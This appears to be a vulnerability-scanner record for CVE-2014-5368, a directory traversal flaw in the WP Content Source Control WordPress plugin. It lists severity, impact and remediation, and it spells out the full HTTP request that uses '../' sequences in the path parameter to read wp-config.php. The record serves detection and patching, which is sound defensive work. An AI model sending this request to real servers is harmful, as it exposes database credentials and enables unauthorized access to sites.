| Title | WordPress Plugin WP Content Source Control - Directory Traversal |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information. |
| Remediation | Update to the latest version of the WP Content Source Control plugin to fix the directory traversal vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.53297 |
| CVE ID | CVE-2014-5368 |
| CWE ID | CWE-22 |
| Tags | cve2014 cve wordpress wp-plugin lfi edb seclists wp_content_source_control_project vuln |
A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
GET /wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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